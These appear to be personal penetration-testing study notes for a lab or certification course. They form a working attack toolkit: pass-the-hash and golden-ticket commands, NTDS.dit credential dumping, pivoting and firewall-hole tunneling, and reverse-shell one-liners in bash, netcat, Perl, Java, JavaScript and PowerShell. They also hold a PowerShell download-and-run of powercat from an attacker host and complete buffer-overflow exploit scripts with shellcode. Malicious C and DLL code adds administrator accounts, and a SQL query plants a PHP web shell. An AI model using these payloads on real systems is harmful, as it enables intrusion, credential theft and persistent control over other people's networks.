• smbclient \\\\ip\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b (PTH for smb share)
• impacket-psexec -hashes 00000000000000000000000000000000:7a38310ea6f0027ee955abed1762964b user@ip (LMHash:NTHash
we don't know lmhash so we use 32 0's)
• impacket-wmiexec -hashes :2892D26CDF84D7A70E2EB3B9F05C425E [email protected]

OVER PASS THE HASH: (Abusing NTLM to get TGT and TGS)
• sekurlsa::logonpasswords
• sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
whoami wont show new user name as it checks current process token and does not check kerberos ticket
• klist (nothing might be cached and its normal)
• net use \\files04 (Generating TGT in cache by authenticating to the file server)
• klist (this will show TGT)
• .\PsExec.exe \\files04 cmd (psexec rely on kerberos auth so it works here)

PASS THE TICKET:


TGT can be used only on the acquired machine, whereas TGS offers flexibility. It can be exported or re-injected anywhere in network.
If any reource is not accessible for our user and if its accessible for other user we can use this to get the privilegedd user's TGS to access
that resource.
• ls \\web04\backup (Not accessible?)
• sekurlsa::tickets /export (exports TGT and TGS in kirbi format)
• dir *.kirbi
• kerberos::ptt [0;12bd0][email protected] (injecting the ticket)
• klist
• ls \\web04\backup

DCOM:
COM- Creates software components that interacts with each other
DCOM - Same but interacts with multiple computers in network
Note: Our user should be local admin
• $dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.50.73")) (ip of target you
wanna gain shell)
• start listener
• $dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e ","7") (pwsh one liner)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
--------------PERSISTENCE:
GOLDEN TICKETS:
The secret key that encrypts TGT is password hash of krbtgt user. If we obtain that we can forge our own custom tickets called GOLDEN
TICKETS.
We can forge a TGT stating non-privileged user is a Domain Admin user and DC will trust because its encrypted correctly. Thus our non-
privileged user will become Domain Admin.
• PsExec64.exe \\DC1 cmd.exe (Access should be denied)
• Login to DC using domain administrator creds and run mimikatz
• lsadump::lsa /patch
Take note of SID and ntlm hash of krbtgt
Steps after this you can try on any machine
• kerberos::purge (Before creating Golden Ticket lets delete existing kerberos ticket)
• kerberos::golden /user:jen /domain:corp.com /sid:S-1-5-21-1987370270-658905905-1781884369
/krbtgt:1693c6cefafffc7af11ef34d1c788f47 /ptt (any valid user in domain that we have access, User ID 500 for Built-In Administrator
for domain)
• misc::cmd
• PsExec.exe \\dc1 cmd.exe (use hostname. ip will throw error)
• whoami /groups

SHADOW COPIES:
Known as Volume Shadow Service (VSS) is a Microsoft backup technology that allows creation of snapshots of files or entire volumes.
We can extract ntds.dit file and copy that to kali and extract every user credential offline from kali
• vshadow.exe -nw -p C:
• Note the path in Shadow copy device name:
• copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak (first path is above point path)
• reg.exe save hklm\system c:\system.bak
• File transfer both files to kali
• impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
• We can crack or do PTH
Port Redirection and Tunneling
18 April 2023 19:18

PORT FORWARDING:
Once you found an internal network in shell which you can communicate only via that shell. We can open a port on that shell and fork
that to a specific port on that internal server so that we can access the internal port via opened port on shell. Listening and Forwarding
happens on shell.
• ip addr
• ip route
• for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done (Scans port 445 for ip 172.16.50.1-254)
• socat -ddd TCP-LISTEN:2343,fork TCP:10.4.171.215:22 (opening a port 2345 on our shell and forks a new subprocess on 5432 to
receive connections)(listening on port 2345 because 0-1024 requires elevated privileges)

TUNNELING or SSH LOCAL PORT FORWARDING:


Same concept but we are using SSH for tunneling. In SSH Local Port Forwarding SSH connection is made between SSH Client(listening port
opened and packets received are tunneled through SSH to server) to SSH Server
• ip addr
• ip route
• for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done (Scans port 445 for ip 172.16.50.1-254)
• ssh -N -L 0.0.0.0:4455:172.16.50.217:445 [email protected] (opening a port in shell connected to internal server which
has 445 open)(listenerip:port:internalserverip:port)
Note: we require creds for this and use -v to debug output in ssh, -N prevents shell poppin
• ss -ntplu - Gain another revshell on different port to check whether tunneling is done
• edit /etc/proxychains4.conf (change it to shell ip)
• proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234
• proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.50.217

SSH DYNAMIC PORT FORWARDING:


In local portforward we can forward packets to one specific socket, but in dynamic we can forward to multiple sockets.
• ip addr
• ip route
• for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done (Scans port 445 for ip 172.16.50.1-254)
• ssh -N -D 0.0.0.0:9999 [email protected]
• edit /etc/proxychains4.conf (change it to shell ip)
• proxychains smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234
• proxychains nmap -vvv -sT --top-ports=20 -Pn 172.16.50.217

REMOTE PORT FORWARDING:


In some cases ssh client might not be present in shell and firewall might allow only specific ports to connect on shell. So it might be hard
to open ports. In that case we use Remote Port Forwarding by setting an SSH server in kali and connecting from Shell to Kali SSH server.
Kali SSH server is bound to lo and it forwards the traffice to the port we specify or which we wanna access.
• sudo systemctl start ssh
• ss -ntplu (in kali)
• ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 [email protected] (loopack ip:port of our choice:internal server ip:port we wanna access
kali@kaliip)
• ss -ntplu (in kali)

REMOTE DYNAMIC PORT FORWARDING:


Same as Dynamic Port Forwarding but if Firewall is implemented we can use this.
Connection is madefrom shell to kali ssh server which is bound to lo and is connected to shell as port forward. Thus achieving remote
dynamic port forward.
Note: Remote dynamic port forwarding has only been available since October 2017's OpenSSH 7.6.2 Despite this, only the OpenSSH client
needs to be version 7.6 or above to use it - the server version doesn't matter.
This might confuse look into course for doubts.
• ssh -N -R 9998 [email protected]
• sudo ss -ntplu
• edit proxychains config file as - socks5 127.0.0.1 9998
• proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.4.50.64
• http://127.0.0.1 in browser with ssh pf on

SSHUTTLE:
In case we have direct access to ssh internal server and there is complex internal network normal way would be hard so we use this.
• socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22 (opening port 2222 and binding that to ssh of internal server ip)
• sshuttle -r [email protected]:2222 10.4.50.0/24 172.16.50.0/24 (connecting to port 2222 on shell which is bounded to
22 of internal server and we can add as much as subnets to tunnel)
Note: This acts as a VPN.No proxy chains required

PORT FORWARDING WITH WINDOWS TOOLS:


#SSH
• ssh.exe location - %systemdrive%\Windows\System32\OpenSSH (we can connect to any ssh server windows or linux all we need is
creds)
or
• where ssh
• ssh.exe -V (Will only work if version is higher than 7.6)
• ssh -N -R 9998 [email protected] (in windows) (kali@kaliip)
• ss -ntplu - in kali for confirmation
• tail /etc/proxychains4.conf (socks5 127.0.0.1 9998)
• proxychains psql -h 10.4.50.215 -U postgres

#PLINK
Note: Doesn't support dynamic remote port forwarding feature
• find / -name plink.exe 2>/dev/null
• File transfer
• cmd.exe /c echo y | C:\Windows\Temp\plink.exe -ssh -l kali -pw kali -R 127.0.0.1:9833:127.0.0.1:3389 192.168.119.148 (opening port
9833 and binding it to port 3389 and we can see port 9833 accessible in kali and last kali ip)
• ss -ntplu
#NETSH
If our shell has a webserver or any service which is not accessible externally we can add a firewall rule and poke a hole so that we can
access it externally. This can be done by opening a port on shell and binding that to the service port we want
• netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.50.64 connectport=22 connectaddress=10.4.50.215
(shellip, any port we want, internal server ip,port we wanna access)
• netstat -anp TCP | find "2222" (windows)
• netsh interface portproxy show all (windows)
• sudo nmap -sS 192.168.50.64 -Pn -n -p2222 (port scan our shell ip with the port we opened and binded with internal server's service)
The above might display as filtered so we need to poke a hole in firewall
• netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=shellip localport=2222 action=allow
• sudo nmap -sS 192.168.50.64 -Pn -n -p2222 (Port will open after this)
• ssh [email protected] -p2222
• netsh advfirewall firewall delete rule name="port_forward_ssh_2222" - TO DELETE THE FIREWALL RULE WE CREATED
• netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.64 - TO DELETE THE PORT FORWARD WE CREATED
Note: O/P will be empty
Also we can do this New-NetFirewallRule and Disable-NetFirewallRule with PowerShell

DEEP PACKET INSPECTION:


DPI is a set of rule. For eg. if a rule is created a block outbound SSH traffic it is not posssible to connect to SSH even if we have creds for
that or tried port forwarding. Here Chisel helps,
• File Transfer Chisel Binary to Shell - Acts as Chisel Client
• chmod +x chisel
#starting chisel server in kali
#forwarding on whole
• chisel server --port 8080 --reverse (reverse port forwarding by opening port 8080 in kali to push packets to shell)
• ./chisel client kaliip:8080 R:1080:socks > /dev/null 2>&1 & (Starting Client in shell to connect to our kali ip and port)
#forwarding specific port
• chisel server --port 8080 --reverse

• ss -ntplu (Checking status of socks proxy where it should listen on lo)


• For other process edit proxychains config and run proxychains before any command. But while trying to ssh directly from kali use the
following command - ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p'
database_admin@internalserverip (port 1080 can be identifiedd using ss -ntplu)

KILL A PORT - taskkill /F /PID


Linux Reverse Shells
23 February 2023 01:27

Note: If prebuilt webshells are not processing reverse shell payloads try to upload our own webshell and try achieving reverse shell
IMP Note: use bash -c "rev shell payload here" if regular ones didnt work

AWK:
• awk 'BEGIN {s = "/inet/tcp/0/192.168.45.215/4444"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) >
0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

BASH:
• bash -i >& /dev/tcp/LHOST/LPORT 0>&1
• 0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196
• exec 5<>/dev/tcp/LHOST/LPORT && while read line 0<&5; do $line 2>&5 >&5; done

JAVA:
• r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do \$line 2>&
5 >&5; done"] as String[]); p.waitFor()

JAVASCRIPT:
• (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket();
client.connect(LPORT, "LHOST", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })();

NETCAT:
• nc -e /bin/sh LHOST LPORT
• rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f
• rm -f backpipe; mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc LHOST LPORT 1>/tmp/backpipe
• rm -f backpipe; mknod /tmp/backpipe p && nc LHOST LPORT 0<backpipe | /bin/bash 1>backpipe

PERL:
• perl -e 'use Socket;$i="LHOST";
$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Spawn TTY
23 February 2023 01:30

#Get Interactive Shell


• python3 -c 'import pty; pty.spawn("/bin/bash")'
• Ctrl+z
• ps -p $$
• change to bash
• stty raw -echo
• fg
• reset (wait a few seconds before entering this)
• export TERM=xterm
Windows Reverse Shell
23 February 2023 01:30

POWERSHELL ONELINER:
• pwsh
• $Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.45.203",4444);$stream = $client.GetStream();[byte[]]$bytes =
0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " +
(pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};$client.Close()'
• $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text) (Encoding to Base64 since it has many special chars)
• $EncodedText =[Convert]::ToBase64String($Bytes)
• $EncodedText (paste this output in cmd parameter)
• powershell -enc "encoded data"

POWERCAT:
• cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
• Host Python server
• Start listener
• IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.45.203:800/powercat.ps1');powercat -c 192.168.45.203 -p
4444 -e powershell (make sure to URL encode)
NC:
• find / -name nc.exe 2>/dev/null

https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

JSP or ASP Shell Gen:


• msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f asp > shell.asp

EXE File Gen


• msfvenom -p windows/x64/shell_reverse_tcp LHOST=kaliip LPORT=port -f exe -o reverse.exe
• nc -lvnp 4444
• on windows run reverse.exe
File Transfers
23 February 2023 01:31

SMB SERVER
Note1: Use -smb2support if normal way didnt work
Note2: This might work for Linux too

#Kali to Windows Shell


• impacket-smbserver kali . (starting smb server in kali)
• copy \\ip\kali\reverse.exe C:\PrivEsc\reverse.exe (copying file from kali to windows shell)

#Windows Shell to Kali


• impacket-smbserver kali . (starting smb server in kali)
• copy .\malware.exe \\ip\sharename\malware.exe (copying file from windows shell to kali)

#Authenticated Transfer (Need local admin rights or local admin creds)


• net user evil /add japan (japan is pass)
• net localgroup "Administrators" /add evil
• net localgroup "Remote Desktop Users" /add evil
• sudo impacket-smbserver kali . -smb2support -username evil -password japan (kali)

PowerShell
• iwr -uri http://192.168.118.2/winPEASx64.exe -Outfile winPEAS.exe

Netcat:
• nc kaliip port < file
• nc -lvnp port > file
Buffer OverFlow (Windows Stack Based)
23 February 2023 01:31

Identify the commands using nc ip port

Open program in Immunity Debugger and run,


!mona config -set workingfolder c:\mona\%p (Creating a working folder)

FUZZING:
• Run ~/stuffs/oscp/bufferoverflow/thm/fuzz.py (identify at which buffer size the program crash)
• msf-pattern_create -l buffersize+400 (add 400 extra from identified value)

FINDING OFFSET:
• Run ~/stuffs/oscp/bufferoverflow/thm/exploit.py
• msf-pattern_offset -q value (NOTE THIS EIP OFFSET VALUE)

FINDING BAD CHARACTERS:


• !mona bytearray -b "\x00" (by default \x00 is a bad character)(removes given bad char in bytearray.bin)
• Copy and paste the bad characters in fbc.py.
• Change Offset value and command name.
• Restart immunity and run exploit. Note ESP address
• !mona compare -f C:\mona\oscp\bytearray.bin -a "ESP ADDRESS" (check possible bad chars)
• Remove one badchar in both bytearray.bin and payload and run fbc.py and compare with mona
• If two sets eg: 07 08 is there and if we removed 07 in bytearray.bin and in payload. But in mona comparison 07 08 disappeared it
means 07 caused its adjacent byte 08 to disappear thus 07 is bad char.
• We need to find all bad chars by this method
• !mona bytearray -b "rest of bad chars" (to remove the correct bad chars in bytearray.bin)

JMP POINT:
• We can run the following command even if program is crashed,
!mona jmp -r esp -cpb "bad chars here in \x format"
Note the address

REVERSE SHELL:
Use revshell.py,
• Use little endian format (write address in reverse)
• Make sure to check everything is changed in revshell.py
• Restart immunity debugger and run program.
• python2 revshell.py

THM exploits uses python3


CYBERMENTOR exploit uses python2
Exploits
23 February 2023 13:32

• FUZZ.PY
#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.208.209"

port = 1337
timeout = 5
prefix = "OVERFLOW10 "

string = prefix + "A" * 100

while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)

• EXPLOIT.PY (Finding Offset)


import socket

ip = "10.10.208.209"
port = 1337

prefix = "OVERFLOW10 "


offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload =
"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4
Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0A
h1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9
Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao
4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9A
s0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6
Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az
1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7B
c8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4B
g5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
postfix = ""

buffer = prefix + overflow + retn + padding + payload + postfix

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(bytes(buffer + "\r\n", "latin-1"))
print("Done!")
except:
print("Could not connect.")

FBC.PY
#!/usr/bin/python
import sys, socket

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

shellcode = "A" * 537 + "B" * 4 + badchars

try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.208.209',1337))
s.send(('OVERFLOW10 ' + shellcode))
s.close()

except:
print "Error Connecting to the server"
sys.exit()

REVSHELL.PY
#!/usr/bin/python
import sys, socket

overflow = (
"\x31\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76"
"\x0e\x2c\x74\x28\x27\x83\xee\xfc\xe2\xf4\xd0\x9c\xaa\x27"
"\x2c\x74\x48\xae\xc9\x45\xe8\x43\xa7\x24\x18\xac\x7e\x78"
"\xa3\x75\x38\xff\x5a\x0f\x23\xc3\x62\x01\x1d\x8b\x84\x1b"
"\x4d\x08\x2a\x0b\x0c\xb5\xe7\x2a\x2d\xb3\xca\xd5\x7e\x23"
"\xa3\x75\x3c\xff\x62\x1b\xa7\x38\x39\x5f\xcf\x3c\x29\xf6"
"\x7d\xff\x71\x07\x2d\xa7\xa3\x6e\x34\x97\x12\x6e\xa7\x40"
"\xa3\x26\xfa\x45\xd7\x8b\xed\xbb\x25\x26\xeb\x4c\xc8\x52"
"\xda\x77\x55\xdf\x17\x09\x0c\x52\xc8\x2c\xa3\x7f\x08\x75"
"\xfb\x41\xa7\x78\x63\xac\x74\x68\x29\xf4\xa7\x70\xa3\x26"
"\xfc\xfd\x6c\x03\x08\x2f\x73\x46\x75\x2e\x79\xd8\xcc\x2b"
"\x77\x7d\xa7\x66\xc3\xaa\x71\x1c\x1b\x15\x2c\x74\x40\x50"
"\x5f\x46\x77\x73\x44\x38\x5f\x01\x2b\x8b\xfd\x9f\xbc\x75"
"\x28\x27\x05\xb0\x7c\x77\x44\x5d\xa8\x4c\x2c\x8b\xfd\x77"
"\x7c\x24\x78\x67\x7c\x34\x78\x4f\xc6\x7b\xf7\xc7\xd3\xa1"
"\xbf\x4d\x29\x1c\x22\x2f\x6e\x19\x40\x25\x2c\x65\x74\xae"
"\xca\x1e\x38\x71\x7b\x1c\xb1\x82\x58\x15\xd7\xf2\xa9\xb4"
"\x5c\x2b\xd3\x3a\x20\x52\xc0\x1c\xd8\x92\x8e\x22\xd7\xf2"
"\x44\x17\x45\x43\x2c\xfd\xcb\x70\x7b\x23\x19\xd1\x46\x66"
"\x71\x71\xce\x89\x4e\xe0\x68\x50\x14\x26\x2d\xf9\x6c\x03"
"\x3c\xb2\x28\x63\x78\x24\x7e\x71\x7a\x32\x7e\x69\x7a\x22"
"\x7b\x71\x44\x0d\xe4\x18\xaa\x8b\xfd\xae\xcc\x3a\x7e\x61"
"\xd3\x44\x40\x2f\xab\x69\x48\xd8\xf9\xcf\xc8\x3a\x06\x7e"
"\x40\x81\xb9\xc9\xb5\xd8\xf9\x48\x2e\x5b\x26\xf4\xd3\xc7"
"\x59\x71\x93\x60\x3f\x06\x47\x4d\x2c\x27\xd7\xf2")

shellcode = "A" * 537 + "\xaf\x11\x50\x62" + "\x90" * 32 + overflow

try:
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.10.208.209',1337))
s.send(('OVERFLOW10 ' + shellcode))
s.close()

except:
print "Error Connecting to the server"
sys.exit()
Small Exploits & Code
23 February 2023 01:32

simpleexecutable.c

int main()
{
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}

adduser.c

#include <stdlib.h>
int main ()
{
int i;
i = system ("net user evil Ev!lpass /add");
i = system ("net localgroup administrators evil /add");

ms-exploit.py
https://blog.superautomation.co.uk/2021/02/vulnhub-writeup-dc-9.html

Shell.exe Alternative
#include <stdlib.h>
int main ()
{
int i;

i = system ("net user dave2 password123! /add");


i = system ("net localgroup administrators dave2 /add");

return 0;
}

• x86_64-w64-mingw32-gcc adduser.c -o adduser.exe


• Get-LocalGroupMember administrators

Shell.dll
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}
Note: We are setting a password for dave2 and making him as administrator. Sincec he already belongs to Remote Desktop Management
group we can rdp and now we are admin.

Enumerate.ps1
$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
$DN = ([adsi]'').distinguishedName
$LDAP = "LDAP://$PDC/$DN"
$LDAP
$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)
$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter="samAccountType=805306368"
$result = $dirsearcher.FindAll()
Foreach($obj in $result)
{
Foreach($prop in $obj.Properties)
{
$prop
}
Write-Host "-------------------------------"
}

Enumerate1.ps1 (For enumerating specific user i.e. jeff admin here)


$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
$DN = ([adsi]'').distinguishedName
$LDAP = "LDAP://$PDC/$DN"
$LDAP
$direntry = New-Object System.DirectoryServices.DirectoryEntry($LDAP)
$dirsearcher = New-Object System.DirectoryServices.DirectorySearcher($direntry)
$dirsearcher.filter="name=jeffadmin"
$result = $dirsearcher.FindAll()
Foreach($obj in $result)
{
Foreach($prop in $obj.Properties)
{
$prop.memberof}
Write-Host "-------------------------------"
}

function.ps1
function LDAPSearch {
param (
[string]$LDAPQuery
)
$PDC = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().PdcRoleOwner.Name
$DistinguishedName = ([adsi]'').distinguishedName
$DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$PDC/$DistinguishedName")
$DirectorySearcher = New-Object System.DirectoryServices.DirectorySearcher($DirectoryEntry, $LDAPQuery)
return $DirectorySearcher.FindAll()
}
Miscellaneous
07 March 2023 01:21

IP GEN:
• for ip in $(seq 1 254); do echo 192.168.50.$ip; done > ips

INTERNAL PORTSCAN:
• 1..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect("172.16.189.12",$_)) "Port $_ is open!"} 2>$null

PORT KNOCKING:
• If specific port is filtered or not present we can try port knocking which opens the port from the server. (we need some hint to
approach this)
• Try -r flag in nmap
• If identified knockd.conf from /etc/knockd.conf using LFI or any other way.
• View the ports and try nc ip port to connect to the ports in target in a specific sequence mentioned.

CHECK FILES INTEGRITY:


• md5sum file
• Goto virustotal and paste it.
• Check if its is legit and belongs to legit org or stuff

GOT ZIP FILES?


• Exiftool them (Look for usernames)
• .msi files? check file integrity (md5sum)
• try unzip > didn’t work?
• Use zip2john file.zip
• Use that password to open the zip file

KEEPASS CRACKING:
• keepass2john Database.kdbx > keepass.hash
• hashcat -m 13400 keepass.hash ~/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force

DESIRED WORDLIST GENERATOR:


#MaskProcessor
• mp64 ?d?u"our word without quotes" > pass.txt (?d with digits ?u with upper case - ordered sequence)
#Adding Rule at end of rockyou
• copy and rename rockyou in our dir
• echo \$1 > demo.rule (adding rule in hashcat to append 1 in every last letter of all passwords)
• hashcat -r demo1.rule --stdout demo.txt
• For more rules refer - https://hashcat.net/wiki/doku.php?id=rule_based_attack
• sed -i 's/$/1@3$5/' rockmf.txt (appending 1@3$5 at end of every password in rockmf.txt)
or
• awk '{print $0"1@3$5"}' passwords.txt > new_passwords.txt
• awk '{print $0"2019"; print $0"25"}' hello.txt (To append 2019 and 25 in every pass)
• awk '{print$0; print $0"2019"; print $0"25"}' hello (To append 2019 and 25 and default one in every pass)
• crunch 6 6 -t Lab%%% > wordlist
O/P
Lab000
Lab001
Lab002
Lab003
Lab004
Lab005
Lab006

IF YOU NEED USERNAMES FOR BRUTEFORCE LIKE KERBRUTE OR ANYTHING AND YOU HAVE FIRST AND LAST NAME FOR EG: Fergus
Smith,
CREATE A WORDLIST LIKE,
Fergus Smith
Fergus.Smith
FSmith
F.Smith

GPG DECODE:
• gpg –batch –passphrase HARPOCRATES -d login.txt.gpg

OPENSSL PUBLIC KEY LOGIN VIA SSH:


• https://gupta-bless.medium.com/walkthrough-of-w34kn3ss-machine-e7abed592b01

MOODLE Exploit:
• https://medium.com/egghunter/goldeneye-1-vulnhub-walkthrough-f31d80a5267b

NIBBLEBLOG:
• IPPSEC NIBBLES HTB

PHPMYADMIN SQL QUERY TO RCE:


• SELECT"<HTML><BODY><FORM METHOD=\"GET\" NAME=\"myform\" ACTION=\"\"><INPUT TYPE=\"text\" NAME=\"cmd\">
<INPUT TYPE=\"submit\" VALUE=\"Send\"></FORM><pre><?php if($_GET['cmd']) {system($_GET[\'cmd\']);} ?> </pre></BODY>
